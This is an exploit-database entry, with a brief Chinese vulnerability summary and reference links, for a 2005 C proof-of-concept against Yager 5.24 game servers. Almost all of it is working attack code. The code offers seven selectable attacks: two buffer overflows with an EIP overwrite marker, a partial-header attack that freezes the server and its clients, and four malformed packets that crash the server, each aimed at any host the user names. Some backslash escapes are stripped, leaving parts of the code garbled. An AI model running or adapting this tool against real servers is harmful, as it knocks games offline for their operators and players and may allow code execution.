https://www.exploit-db.com/exploits/941
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-283

Yager5.24和较早的版本允许远程攻击者通过含游戏头且数据长度小于指定值的数据包来引起拒绝服务(应用程序攻击)攻击。

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "nError: %sn", error);
    exit(1);
}

    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif



#define VER         "0.1"
#define BUFFSZ      (HEADSZ + 65536)
#define PORT        34855
#define TIMEOUT     3
#define HEADSZ      10
#define EIP         "xdexc0xadxde"
#define CRASHSZ     100
#define NICKBOF     "x00x00x00x00"      /* vehicle type */ 
                    "x01x00x00x00"      /* team */ 
                    "xffxffxffxff"      /* nickname size, ignored! */ 
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                    EIP 
                    "aaaaaaaaaaaaaaaa"
#define PCKBOF      "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                    "aa" EIP

#define SHOW(x)     printf(x "%n%s%nn", &tmp, p, &len); 
                    p += (len - tmp) + 1;
#define SENDTO(x)   if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) 
                      < 0) std_err();
#define RECVFROM    if(timeout(sd) < 0) { 
                        fputs("nError: socket timeout, no reply receivednn", stdout); 
                        exit(1); 
                    } 
                    len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); 
                    if(len < 0) std_err();
#define SEND(x,y)   if(send(sd, x, y, 0) 
                      < 0) std_err();



u_long resolv(char *host);
int timeout(int sock);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sd,
            len,
            attack,
            tmp,
            autoport = 1;
    u_short port = PORT;
    u_char  *buff,
            info[] =
                "Y_NET_YAGER_CLIENT"
                "x00x00" "x00x00",
            *p;
    struct yager_head {
        u_long  type;
        u_short size;
        u_short pck1;
        u_short pck2;
    } *yh;


    setbuf(stdout, NULL);

    fputs("n"
        "Yager <= 5.24 multiple vulnerabilities "VER"n"
        "by Luigi Auriemman"
        "e-mail: [email protected]"
        "web:    http://aluigi.altervista.orgn"
        "n", stdout);

    if(argc < 3) {
        printf("n"
            "Usage: %s <attack> <host> [port(auto)]n"
            "n"
            "Attacks:n"
            " 1 = nickname buffer-overflown"
            " 2 = big data buffer-overflown"
            " 3 = freeze of server and connected clientsn"
            " 4 = crash using type 0x1d (in 0x0050e970)n"
            " 5 = crash using type 0x22 (in 0x004fd2b8)n"
            " 6 = crash using type 0x24 (in 0x004fd2f5)n"
            " 7 = crash using type 0x28 (in 0x004b0f1b)n"
            "n", argv[0]);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 3) {
        autoport = 0;
        port = atoi(argv[3]);
    }

    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hun",
        inet_ntoa(peer.sin_addr), port);

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    if(autoport) {
        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd < 0) std_err();

        fputs("- request informations:n", stdout);
        *(u_short *)(info + 19) = ~time(NULL);
        SENDTO(info);
        RECVFROM;
        close(sd);

        p = buff + 19;
        port = ntohs(*(u_short *)p);
        printf("n  Server port   %dn", port);
        p += 2;
        SHOW("  Map           ");
        printf("  Version       %d.%dn", p[1], p[0]);
        p += 2;
        SHOW("  Server name   ");
        p += 4;
        printf("  Players       %d / %dnn", p[1], p[0]);

        peer.sin_port = htons(port);
    }

    attack = atoi(argv[1]);
    if(attack > 7) {
        fputs("nError: you have chosen a wrong attack numbernn", stdout);
        exit(1);
    }

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();

    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();

    yh = (struct yager_head *)buff;
    yh->pck1 = tmp = ~time(NULL) & 0xffff;
    yh->pck2 = 0;

    if(attack == 1) {
        yh->type = 0x1e;
        memcpy(buff + HEADSZ, NICKBOF, sizeof(NICKBOF) - 1);
        yh->size = sizeof(NICKBOF) - 1;
        fputs("- send long data block for nickname buffer-overflown", stdout);

    } else if(attack == 2) {
        yh->type = 0x00;    // almost any other type is ok
        memcpy(buff + HEADSZ, PCKBOF, sizeof(PCKBOF) - 1);
        yh->size = sizeof(PCKBOF) - 1;
        fputs("- send long data block for packet buffer-overflown", stdout);

    } else if(attack == 3) {
        yh->type = 0x1b;
        yh->size = 0;
        printf("- server waits for %d bytes but we send a partial headern", HEADSZ);
        tmp %= HEADSZ;
        if(tmp <= 0) tmp = 1;
        SEND(buff, tmp);
        fputs("  Server and connected clients should be freezed, press RETURN to stop the attackn", stdout);
        fgetc(stdin);
        close(sd);
        return(0);

    } else {
        if(attack == 4) {
            yh->type = 0x1d;
        } else if(attack == 5) {
            yh->type = 0x22;
        } else if(attack == 6) {
            yh->type = 0x24;
        } else if(attack == 7) {
            yh->type = 0x28;
        }

        memset(buff + HEADSZ, 0xff, CRASHSZ);
        yh->size = CRASHSZ;
        printf("- send crash data with type 0x%08lxn", yh->type);
    }

    SEND(buff, yh->size + HEADSZ);
    fputs("- check server statusn", stdout);
    if(!timeout(sd)) {
        if(recv(sd, buff, BUFFSZ, 0) < 0) {
            fputs("nServer IS vulnerable!!!nn", stdout);
        } else {
            fputs("nServer doesn't seem vulnerablenn", stdout);
        }
    } else {
        fputs("nNo reply from the server, it is probably not vulnerablenn", stdout);
    }

    close(sd);
    return(0);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("nError: Unable to resolv hostname (%s)n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("nError");
        exit(1);
    }
#endif

// milw0rm.com [2005-04-14]

来源:XF
名称:yager-freeze-datablock-dos(20104)
链接:http://xforce.iss.net/xforce/xfdb/20104
来源:BID
名称:13179
链接:http://www.securityfocus.com/bid/13179
来源:OSVDB
名称:15509
链接:http://www.osvdb.org/15509
来源:SECUNIA
名称:14967
链接:http://secunia.com/advisories/14967
来源:MISC
链接:http://aluigi.altervista.org/adv/yagerbof-adv.txt
来源:BUGTRAQ
名称:20050414MultiplevulnerabilitiesinYager5.24
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=111352154820865&w;=2